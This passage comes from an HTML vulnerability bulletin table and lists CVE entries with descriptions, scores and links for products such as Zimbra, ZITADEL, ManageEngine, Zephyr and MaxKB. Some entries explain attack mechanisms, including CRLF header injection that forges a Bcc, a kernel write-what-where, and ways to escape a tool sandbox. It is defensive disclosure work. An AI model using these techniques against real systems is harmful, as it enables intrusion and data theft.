&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97064&quot; target=&quot;_blank&quot;&gt;CVE-2026-97064&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;yzcheng90--X-SpringBoot&lt;/td&gt;
&lt;td&gt;X-SpringBoot through 6.0 lacks object-level authorization in user management endpoints, allowing sub-administrators to modify or delete users without ownership verification. Attackers with user-management permissions can reset passwords for any account including the super administrator, rebind roles, or delete users via POST /sys/user/update and POST /sys/user/delete endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97060&quot; target=&quot;_blank&quot;&gt;CVE-2026-97060&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zbateson--mail-mime-parser&lt;/td&gt;
&lt;td&gt;zbateson/mail-mime-parser is a mail mime parser alternative to PHP&#039;s imap* functions and Pear libraries for reading messages in Internet Message Format RFC 822. Prior to version 3.0.6 and 4.0.2, CRLF (carriage-return / line-feed) header injection (CWE-93) affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename. Attachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\r\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required - an application that re-attaches or re-sends a parsed filename is exposed. Versions 3.0.6 and 4.0.2 patch the issue. Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message - e.g. preg_replace(&#039;/[\r\n]+/&#039;, &#039; &#039;, $filename).&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61815&quot; target=&quot;_blank&quot;&gt;CVE-2026-61815&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zbateson--mail-mime-parser&lt;/td&gt;
&lt;td&gt;zbateson/mail-mime-parser is a mail mime parser alternative to PHP&#039;s imap* functions and Pear libraries for reading messages in Internet Message Format RFC 822. Starting in version 2.0.0 and prior to version 3.0.6 and 4.0.2, an uncontrolled resource consumption / algorithmic complexity vulnerability (CWE-400) affects any application that parses untrusted email with this library. Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does **not** bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first `getAllParts()` or content read. This is fxed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions. Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.) These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61816&quot; target=&quot;_blank&quot;&gt;CVE-2026-61816&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;The Time-aware GPIO syscall verification handler z_vrfy_tgpio_pin_read_ts_ec() in drivers/timeaware_gpio/timeaware_gpio_handlers.c validated only the port device object and passed the caller-supplied timestamp and event_count output pointers to the driver without a K_SYSCALL_MEMORY_WRITE() check. The other handlers in the same file (z_vrfy_tgpio_port_get_time(), z_vrfy_tgpio_port_get_cycles_per_second()) already performed that check, so the omission left one syscall unguarded. tgpio_pin_read_ts_ec() is declared __syscall, so with CONFIG_USERSPACE=y an unprivileged user-mode thread that has been granted access to the TGPIO device object can invoke it with arbitrary pointer values. tgpio_intel_read_ts_ec() in drivers/timeaware_gpio/timeaware_gpio_intel.c bounds-checks only the pin index and then unconditionally performs timestamp = ... and event_count = ..., executing two 8-byte stores in supervisor mode at addresses chosen by the user-mode caller. The result is a write-what-where primitive that crosses the userspace/kernel boundary: the target address is fully attacker-chosen and the stored values are the hardware time-capture and event-counter register contents. Corrupting kernel data structures this way can escalate the calling thread to supervisor privilege or crash the system; the device-object permission required is a narrow capability that is not intended to confer any kernel-memory access. The fix adds the two missing K_SYSCALL_MEMORY_WRITE() validations before the driver call. Exposure is narrow in practice. Only builds with CONFIG_USERSPACE=y and CONFIG_TIMEAWARE_GPIO=y compile the affected file, and from v3.6.0 onward the file additionally referenced a relocated header (&amp;lt;zephyr/syscall_handler.h&amp;gt;) and removed Z_SYSCALL_* macros, so such a configuration failed to build until those were repaired after v4.4.0. Downstream trees that locally corrected that breakage, and v3.5.0 builds where it did not exist, are the exposed population.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17052&quot; target=&quot;_blank&quot;&gt;CVE-2026-17052&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zhistaredu--StarTraining&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in zhistaredu StarTraining up to 3.8.1. This issue affects the function UserLoginService.createToken of the file application.yml of the component JWT Token Handler. This manipulation of the argument user_id/company_id causes use of hard-coded password. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97877&quot; target=&quot;_blank&quot;&gt;CVE-2026-97877&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zhistaredu--StarTraining&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in zhistaredu StarTraining up to 3.8.1. Impacted is the function anonymous of the file /druid/index.html of the component Druid Console. Such manipulation leads to missing authentication. The attack may be performed from remote. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97878&quot; target=&quot;_blank&quot;&gt;CVE-2026-97878&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zhonglun--CloudPos&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in Zhonglun CloudPos up to 3.0.1.76. This issue affects the function OpenLocalBrowser of the file ZlPos/ZlPos/Bizlogic/JSBridge.cs of the component JSBridge. Such manipulation of the argument url leads to code injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97871&quot; target=&quot;_blank&quot;&gt;CVE-2026-97871&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zimbra--Zimbra Collaboration Suite (ZCS)&lt;/td&gt;
&lt;td&gt;An unauthenticated sender can forge a share notification that triggers stored XSS when a signed-in Zimbra Classic recipient clicks Accept Share, allowing the attacker to access mailbox data and act as the victim.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93641&quot; target=&quot;_blank&quot;&gt;CVE-2026-93641&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zimbra--Zimbra Collaboration Suite (ZCS)&lt;/td&gt;
&lt;td&gt;An unauthenticated sender can forge a share notification that triggers stored XSS when a signed-in Zimbra Modern recipient clicks Accept Share, allowing the attacker to access mailbox data and act as the victim.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93642&quot; target=&quot;_blank&quot;&gt;CVE-2026-93642&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zimbra--Zimbra Collaboration Suite (ZCS)&lt;/td&gt;
&lt;td&gt;When OnlyOffice/Document Editing is available, an unauthenticated remote attacker with access to an existing supported public Briefcase document can abuse unsigned&amp;nbsp;save&amp;nbsp;fields to perform path-traversal writes and execute commands as&amp;nbsp;zimbra.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93643&quot; target=&quot;_blank&quot;&gt;CVE-2026-93643&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zimbra--Zimbra Collaboration Suite (ZCS)&lt;/td&gt;
&lt;td&gt;An unauthenticated calendar sender can place active markup in a COUNTER message&#039;s RFC&amp;nbsp;From&amp;nbsp;address. Selecting the message in Zimbra Classic triggers stored XSS, allowing the attacker to access mailbox data and act as the victim.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93647&quot; target=&quot;_blank&quot;&gt;CVE-2026-93647&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zitadel--zitadel&lt;/td&gt;
&lt;td&gt;ZITADEL is an open source identity management platform. From 4.0.0 until 4.16.1, ZITADEL Login V2 creates a browser session after password verification and can reuse that session for a later authentication request without verifying a user&#039;s enrolled TOTP, OTP, or U2F second factor. When the MFA step is abandoned and login starts again, session-validity checks require MFA only when the organization enables Force MFA or Force MFA for local users only, so a voluntarily enrolled factor can be skipped while completing an OIDC or SAML callback for a customer application. Login V1, the ZITADEL Console, Management and Admin APIs, and user self-management are not affected. This issue is fixed in version 4.16.1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85056&quot; target=&quot;_blank&quot;&gt;CVE-2026-85056&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zitadel--zitadel&lt;/td&gt;
&lt;td&gt;ZITADEL is an open source identity management platform. From 3.0.0 until 3.4.13 and 4.16.1, ZITADEL Actions V1 enables the goja Node-compatible require() registry without restricting its filesystem source loader. An organization Action author with ORG_OWNER, org.action.write, and org.flow.write permissions can run JavaScript at OIDC, SAML, and login-flow trigger points and load files readable by the ZITADEL server process. This can disclose mounted configuration and secrets, including credentials stored through ZITADEL_FIRSTINSTANCE_LOGINCLIENTPATPATH or ZITADEL_FIRSTINSTANCE_MACHINEKEYPATH, and recovered bootstrap credentials can enable escalation from an organization administrator to an instance administrator. The issue affects Actions V1, and host command execution is not established. This issue is fixed in versions 3.4.13 and 4.16.1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85057&quot; target=&quot;_blank&quot;&gt;CVE-2026-85057&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine ADSelfService Plus&lt;/td&gt;
&lt;td&gt;Zohocorp ManageEngine ADSelfService Plus versions before build 7001 are vulnerable to a remote code execution vulnerability in the GINA client.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74849&quot; target=&quot;_blank&quot;&gt;CVE-2026-74849&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine ADSelfService Plus&lt;/td&gt;
&lt;td&gt;Zohocorp ManageEngine ADSelfService Plus versions before build 7001 are vulnerable to an authentication bypass vulnerability in the REST API.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75791&quot; target=&quot;_blank&quot;&gt;CVE-2026-75791&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine Applications Manager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine Applications Manager versions 182200 and below were vulnerable to exposure of a Google Cloud service-account private key in the Applications Manager installer, which could allow an unauthenticated attacker to impersonate the service account and access or modify associated cloud resources.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86708&quot; target=&quot;_blank&quot;&gt;CVE-2026-86708&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine Applications Manager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine Applications Manager versions 182000 and below allowed a low-privileged user to run unauthorized SQL commands, potentially gaining administrator access and remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86677&quot; target=&quot;_blank&quot;&gt;CVE-2026-86677&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine Applications Manager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine Applications Manager versions 182000 and below allowed a low-privileged user to obtain an administrator&#039;s API key and use it to perform administrator-level actions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86678&quot; target=&quot;_blank&quot;&gt;CVE-2026-86678&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine Applications Manager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine Applications Manager versions 182000 and below allowed a low-privileged user to change the proxy settings.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86683&quot; target=&quot;_blank&quot;&gt;CVE-2026-86683&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine Applications Manager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine Applications Manager versions 182000 and below were vulnerable to a permissions validation issue that allowed a low-privileged user to delete service monitors outside their assigned scope.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86679&quot; target=&quot;_blank&quot;&gt;CVE-2026-86679&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine Applications Manager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine Applications Manager versions 182200 and below were vulnerable to a permissions validation issue that allowed low-privileged users to execute administrator-configured MBean actions on monitors outside their assigned scope.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86681&quot; target=&quot;_blank&quot;&gt;CVE-2026-86681&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine OpManager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine OpManager MSP versions 12.8.709 and below were vulnerable to a Remote Code Execution vulnerability in the Notification Profile module.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19599&quot; target=&quot;_blank&quot;&gt;CVE-2026-19599&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine OpManager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine OpManager and Firewall Analyzer versions 12.8.669 and below were vulnerable to an SQL Injection vulnerability in Rule Management Search Reports.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14913&quot; target=&quot;_blank&quot;&gt;CVE-2026-14913&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine OpManager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine OpManager versions 12.8.710 and below with the Application Manager Plugin enabled were vulnerable to an Authentication Bypass vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75825&quot; target=&quot;_blank&quot;&gt;CVE-2026-75825&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine OpManager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine OpManager and Firewall Analyzer versions 12.8.709 and below were vulnerable to a Command Injection vulnerability in the Diagnose Settings feature.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76978&quot; target=&quot;_blank&quot;&gt;CVE-2026-76978&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine OpManager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine OpManager and Firewall Analyzer versions 12.8.710 and below were vulnerable to a Privilege Escalation vulnerability that allowed an authenticated low-privilege user to gain Administrator privileges through Report Profile import.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84787&quot; target=&quot;_blank&quot;&gt;CVE-2026-84787&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine OpManager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine OpManager, NetFlow Analyzer, and Network Configuration Manager versions 12.8.667 and below were vulnerable to a Server-Side Template Injection vulnerability in Configlet processing, which could lead to Remote Code Execution.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12370&quot; target=&quot;_blank&quot;&gt;CVE-2026-12370&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine OpManager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine OpManager and Network Configuration Manager versions before 12.8.671 were vulnerable to an unauthorized Path Traversal vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15358&quot; target=&quot;_blank&quot;&gt;CVE-2026-15358&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine OpManager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine OpManager and Firewall Analyzer versions 12.8.709 and below were vulnerable to an XML Injection vulnerability in the Rule Tracking Compare Policies feature.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76979&quot; target=&quot;_blank&quot;&gt;CVE-2026-76979&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine OpManager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine OpManager and Firewall Analyzer versions 12.8.709 and below were vulnerable to a Data Exposure vulnerability in the Firewall Analyzer syslog collector.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76980&quot; target=&quot;_blank&quot;&gt;CVE-2026-76980&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine OpManager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine OpManager and Firewall Analyzer versions 12.8.710 and below were vulnerable to a Broken Access Control vulnerability that allowed an authenticated low-privilege user to create alert notifications for firewalls outside their assigned scope.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84789&quot; target=&quot;_blank&quot;&gt;CVE-2026-84789&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine OpManager&lt;/td&gt;
&lt;td&gt;ZohoCorp ManageEngine OpManager and Firewall Analyzer versions 12.8.710 and below were vulnerable to a Broken Access Control vulnerability that allowed an authenticated low-privilege user to modify Change Management report schedule configurations for firewalls outside their assigned scope.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84791&quot; target=&quot;_blank&quot;&gt;CVE-2026-84791&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href=&quot;#top&quot;&gt;Back to top&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;medium_v&quot;&gt;
&lt;h2 id=&quot;medium_v_title&quot;&gt;Medium Vulnerabilities&lt;/h2&gt;
&lt;table class=&quot;table table-style-align-center no-tablesaw&quot; style=&quot;table-layout:fixed;width:100%;&quot; border=&quot;1&quot; summary=&quot;Medium Vulnerabilities&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th class=&quot;vendor-product&quot; style=&quot;width:24%;&quot; scope=&quot;col&quot;&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Primary&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Vendor&lt;/span&gt; -- Product&lt;/th&gt;
&lt;th style=&quot;width:44%;&quot; scope=&quot;col&quot;&gt;Description&lt;/th&gt;
&lt;th style=&quot;width:10%;&quot; scope=&quot;col&quot;&gt;Published&lt;/th&gt;
&lt;th style=&quot;width:8%;&quot; scope=&quot;col&quot;&gt;CVSS Score&lt;/th&gt;
&lt;th style=&quot;width:7%;&quot; scope=&quot;col&quot;&gt;Source Info&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--MaxKB&lt;/td&gt;
&lt;td&gt;MaxKB is an open-source AI assistant for enterprise. In 2.7.0 through 2.10.4-lts, POST /chat/api/{application_id}/chat/{chat_id}/share_chat verifies that a conversation exists but does not verify that it belongs to the authenticated chat_user_id or to the application bound to the caller&#039;s token. An attacker with any chat token and a known victim chat_id can create an unauthenticated public ChatShareLink exposing the victim&#039;s conversation and can create PublicFileAccess state that makes associated files retrievable without credentials, with no available revoke path. No fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79917&quot; target=&quot;_blank&quot;&gt;CVE-2026-79917&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--MaxKB&lt;/td&gt;
&lt;td&gt;MaxKB is an open-source AI assistant for enterprise. Prior to version 2.10.6-lts, the ToolExecutor LD_PRELOAD sandbox hooks execve, execvpe, and execveat to prevent subprocess creation but does not hook fexecve. An authenticated attacker able to execute tool code can call fexecve to start a process outside the sandbox&#039;s intended subprocess policy. This issue is fixed in version 2.10.6-lts.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79918&quot; target=&quot;_blank&quot;&gt;CVE-2026-79918&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--MaxKB&lt;/td&gt;
&lt;td&gt;MaxKB is an open-source AI assistant for enterprise. Prior to version 2.10.6-lts, function-library code running under the LD_PRELOAD sandbox can invoke ctypes.CDLL from an importlib.abc.MetaPathFinder callback so the dlopen call-stack heuristic sees a Python import frame, then use unhooked dlsym with RTLD_NEXT to resolve glibc&#039;s real syscall and bypass the sandbox syscall blacklist. An authenticated workspace member can consequently read or write files, execute processes, or access networks as the sandbox user. This issue is fixed in version 2.10.6-lts.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79919&quot; target=&quot;_blank&quot;&gt;CVE-2026-79919&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--MaxKB&lt;/td&gt;
&lt;td&gt;MaxKB is an open-source AI assistant for enterprise. From version 2.0.0 through 2.9.2, a lowest-role workspace member denied access to a tool by WorkspaceUserResourcePermission can still bind its identifier through tool_ids, skill_tool_ids, or mcp_tool_ids and execute it through the agent or workflow dispatch path. The dispatch path does not reapply the per-tool grant enforced by dedicated tool routes, and tool execution decrypts server-side init_params, allowing the caller to receive credentials carried by the denied tool. No fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77516&quot; target=&quot;_blank&quot;&gt;CVE-2026-77516&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--MaxKB&lt;/td&gt;
